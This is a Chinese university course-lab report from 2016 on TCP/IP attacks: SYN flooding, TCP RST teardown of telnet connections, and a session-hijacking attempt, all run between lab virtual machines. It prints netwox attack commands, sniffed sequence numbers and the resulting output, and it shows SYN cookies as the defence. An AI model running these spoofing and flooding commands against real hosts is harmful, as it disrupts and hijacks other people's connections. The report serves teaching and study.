

# 中南大学

## 网络安全课程设计报告



题    目 \_\_\_\_\_TCP/IP 攻击\_\_\_\_\_

学生姓名 \_\_\_\_\_黎颖\_\_\_\_\_

指导教师 \_\_\_\_\_王伟平\_\_\_\_\_

学    院 \_\_\_\_\_信息科学与工程学院\_\_\_\_\_

专业班级 \_\_\_\_\_信安 1402\_\_\_\_\_

完成时间 \_\_\_\_\_2016/12\_\_\_\_\_

# 实验一 TCP/IP 攻击

## 1.1 实验内容

### 1. SYN 洪泛攻击

SYN flood 是 DoS 攻击的一种形式，攻击者向受害者的 TCP 端口发送许多 SYN 请求，但攻击者无意完成 3 次握手过程。攻击者使用欺骗 IP 地址或不继续该过程。通过这种攻击，攻击者可以使受害者的队列用于半开连接，即已完成 SYN，SYN-ACK 但尚未完成的连接得到最后的 ACK 回来。当此队列已满时，受害者无法再占用任何连接。

### 2. TCP RST 攻击 telnet 和 ssh 连接

TCP RST 攻击可以终止两个受害者之间建立的 TCP 连接。例如，如果在两个用户 A 和 B 之间存在建立的 telnet 连接（TCP），攻击者可以欺骗 RST 数据包从 A 到 B，打破这个现有的连接。要在攻击中成功，攻击者需要正确构造 TCP RST 分组。

### 3. TCP 会话劫持

TCP 会话劫持攻击的目的是劫持之间的现有 TCP 连接（会话）两个受害者通过注入恶意内容到本次会议。如果此连接是 telnet 会话，攻击者可以向此会话中注入恶意命令（例如删除重要文件），导致受害者执行恶意命令。

## 1.2 环境搭建

使用三台虚拟机做实验，其中一个用于攻击，另一个用于被攻击，第三个作为观察者使用，且把三台主机放在同一个 LAN 中。

三台虚拟机的地址分别为 10.0.2.4；10.0.2.5；10.0.2.6

所使用的 Linux 中已经安装好相关的 netwox 工具箱和 Wireshark 工具箱的 Ubuntu 系统，与此同时三台虚拟机都需要打开 FTP 和 Telnet 服务。

## 1.3 实验过程

### 1. SYN 泛洪攻击

主机 A 与主机 B 正常连接

```
[11/19/2016 23:18] seed@ubuntu:~$ telnet 10.0.2.5
Trying 10.0.2.5...
Connected to 10.0.2.5.
Escape character is '^]'.
Ubuntu 12.04.2 LTS
ubuntu login: seed
Password:
Last login: Sat Nov 12 06:48:02 PST 2016 from ubuntu-3.local on pts/3
Welcome to Ubuntu 12.04.2 LTS (GNU/Linux 3.5.0-37-generic i686)

 * Documentation:  https://help.ubuntu.com/

New release '14.04.1 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

[11/19/2016 23:19] seed@ubuntu:~$
```

此时查看端口状况可以发现 23 端口已连接

```
[11/19/2016 23:35] seed@ubuntu:~$ netstat -na |grep tcp
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:8080             0.0.0.0:*               LISTEN
tcp        0      0 10.0.2.5:53              0.0.0.0:*               LISTEN
tcp        0      0 10.0.2.5:23              10.0.2.6:35372          ESTABLISHED
```

```
[11/19/2016 23:38] seed@ubuntu:~$ sysctl -q net.ipv4.tcp_max_syn_backlog
net.ipv4.tcp_max_syn_backlog = 512
```

此时主机 C 使用 netwox 工具攻击主机 B

```
[11/19/2016 23:46] seed@ubuntu:~$ sudo netwox 76 -i 10.0.2.5 -p 23
```

这时再查看主机 B23 端口，会发现已经被包占满

cp	-	0	-	0	10.0.2.5:23	-	139.191.46.95:51407	SYN_RECV	-
cp		0		0	10.0.2.5:23		74.44.149.100:29973	SYN_RECV	
cp		0		0	10.0.2.5:23		190.237.184.234:33654	SYN_RECV	
cp		0		0	10.0.2.5:23		13.68.40.235:4614	SYN_RECV	
cp		0		0	10.0.2.5:23		150.148.233.132:28204	SYN_RECV	
cp		0		0	10.0.2.5:23		179.169.13.43:12342	SYN_RECV	
cp		0		0	10.0.2.5:23		91.61.158.244:37636	SYN_RECV	
cp		0		0	10.0.2.5:23		45.240.53.7:43072	SYN_RECV	
cp		0		0	10.0.2.5:23		142.140.143.174:18042	SYN_RECV	
cp		0		0	10.0.2.5:23		54.239.218.138:15734	SYN_RECV	
cp		0		0	10.0.2.5:23		88.10.196.73:21456	SYN_RECV	
cp		0		0	10.0.2.5:23		198.96.173.128:2652	SYN_RECV	
cp		0		0	10.0.2.5:23		198.24.46.10:57769	SYN_RECV	
cp		0		0	10.0.2.5:23		252.122.224.180:41058	SYN_RECV	
cp		0		0	10.0.2.5:23		254.136.195.90:63870	SYN_RECV	
cp		0		0	10.0.2.5:23		4.120.210.17:48544	SYN_RECV	
cp		0		0	10.0.2.5:23		202.161.33.33:58316	SYN_RECV	
cp		0		0	10.0.2.5:23		181.235.40.244:5573	SYN_RECV	
cp		0		0	10.0.2.5:23		169.227.244.222:19564	SYN_RECV	
cp		0		0	10.0.2.5:23		135.53.171.148:57271	SYN_RECV	
cp		0		0	10.0.2.5:23		115.240.50.138:42289	SYN_RECV	
cp		0		0	10.0.2.5:23		46.148.183.148:36041	SYN_RECV	

当把 syncokies 打开后

```
net.ipv4.tcp_cookie_size = 0
net.ipv4.tcp_syncookies = 1
```

主机 C 再发动攻击则无效

```
Trying 10.0.2.5...
Connected to 10.0.2.5.
Escape character is '^]'.
Ubuntu 12.04.2 LTS
ubuntu login: seed
Password:
Last login: Sat Nov 19 23:47:08 PST 2016 from ns.example.com on pts/0
Welcome to Ubuntu 12.04.2 LTS (GNU/Linux 3.5.0-37-generic i686)
```

## 2. TCP RST 攻击 telnet 和 ssh 连接

## 建立主机 A 与主机 B 的连接

```
[11/19/2016 23:18] seed@ubuntu:~$ telnet 10.0.2.5
Trying 10.0.2.5...
Connected to 10.0.2.5.
Escape character is '^]'.
Ubuntu 12.04.2 LTS
ubuntu login: seed
Password:
Last login: Sat Nov 12 06:48:02 PST 2016 from ubuntu-3.local on pts/3
Welcome to Ubuntu 12.04.2 LTS (GNU/Linux 3.5.0-37-generic i686)

 * Documentation:  https://help.ubuntu.com/

New release '14.04.1 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

[11/19/2016 23:19] seed@ubuntu:~$ █
```

在主机 C 上运用 **netwox 78** 号工具进行攻击，可以看到连接断开，查看端口也不存在之前的连接

攻击 [正在运行] - Oracle VM VirtualBox



```
[11/19/2016 23:53] seed@ubuntu:~$ Connection closed by foreign host.  
[11/19/2016 23:56] seed@ubuntu:~$  
[11/19/2016 23:55] seed@ubuntu:~$ sudo netwox 78 -i 10.0.2.6
```

Process	IP Address	Port	State	Listening
LibreOffice Writer	127.0.0.1	3306	*	LISTEN
cp	0.0.0.0	8080	*	LISTEN
cp	0.0.0.0	80	*	LISTEN
cp	0.0.0.0	21	*	LISTEN
cp	10.0.2.5	53	*	LISTEN
cp	127.0.0.1	53	*	LISTEN
cp	0.0.0.0	22	*	LISTEN
cp	127.0.0.1	631	*	LISTEN
cp	0.0.0.0	23	*	LISTEN
cp	127.0.0.1	953	*	LISTEN
cp	0.0.0.0	443	*	LISTEN
cp6	:::53		*	LISTEN
cp6	:::22		*	LISTEN
cp6	:::1:631		*	LISTEN
cp6	:::3128		*	LISTEN
cp6	:::1:953		*	LISTEN



### 3. TCP 会话劫持

在主机 A 和主机 B 连接后，打开 wireshark 查看当前连接的具体信息

13	2016-11-20 00:11:51.66	10.0.2.6	10.0.2.5	TELNET	67 Telnet Data ...
14	2016-11-20 00:11:51.66	10.0.2.5	10.0.2.6	TELNET	67 Telnet Data ...
15	2016-11-20 00:11:51.66	10.0.2.6	10.0.2.5	TCP	66 35377 > telnet [ACK] Seq=52

具体得到端口，ip，ack 和 seq，便于构造伪造报文

```
▼ Transmission Control Protocol, Src Port: 35377 (35377), Dst Port: telnet (23), Seq: 522734109
  Source port: 35377 (35377)
  Destination port: telnet (23)
  [Stream index: 1]
  Sequence number: 522734109
  Acknowledgement number: 1771495677
  Header length: 32 bytes
  ▶ Flags: 0x010 (ACK)
  Window size value: 123
  [Calculated window size: 123]
  [Window size scaling factor: -1 (unknown)]
  ▶ Checksum: 0xb816 [validation disabled]
  ▶ Options: (12 bytes)
  ▶ [SEQ/ACK analysis]
```

使用嗅探到的信息伪造报文发送 rst 信息

```
[11/20/2016 00:15] root@ubuntu:/home/seed# netwox 40 -l 10.0.2.5 -m 10.0.2.6 -o 23 -p 35377 -q 1771495677 -B
IP
|version| ihl |   tos   |   totlen  | |
|  4    |  5   | 0x00=0 | 0x0028=40 |
|      id      |r|D|M| offsetfrag |
|0x712D=28973|0|0|0| 0x0000=0 |
|   ttl   | protocol | checksum |
|0x00=0| 0x06=6 | 0x3199 |
|      source      |
|      10.0.2.5    |
|      destination |
|      10.0.2.6    |
TCP
|      source port      | destination port |
| 0x0017=23 | 0x8A31=35377 |
|      seqnum      |
|0x6996E0FD=1771495677|
|      acknum      |
|0x00000000=0|
|doff| r|r|r|r|C|E|U|A|P|R|S|F| window |
|  5 | 0|0|0|0|0|0|0|0|0|0|1|0|0| 0x0000=0 |
```

## 实验心得

到此为止网络安全课程设计就结束了，在这段时间，完成了老师布置的课程设计题目，解决了许多在实验过程中所出现的问题，尽管这个过程非常困难，但我很开心我最终还是完成了。课程设计完了之后，我才真切意识到，网络安全并不简单，恰恰相反，没有艰辛的付出，没有刻苦的努力，任谁也永远不能攻克它。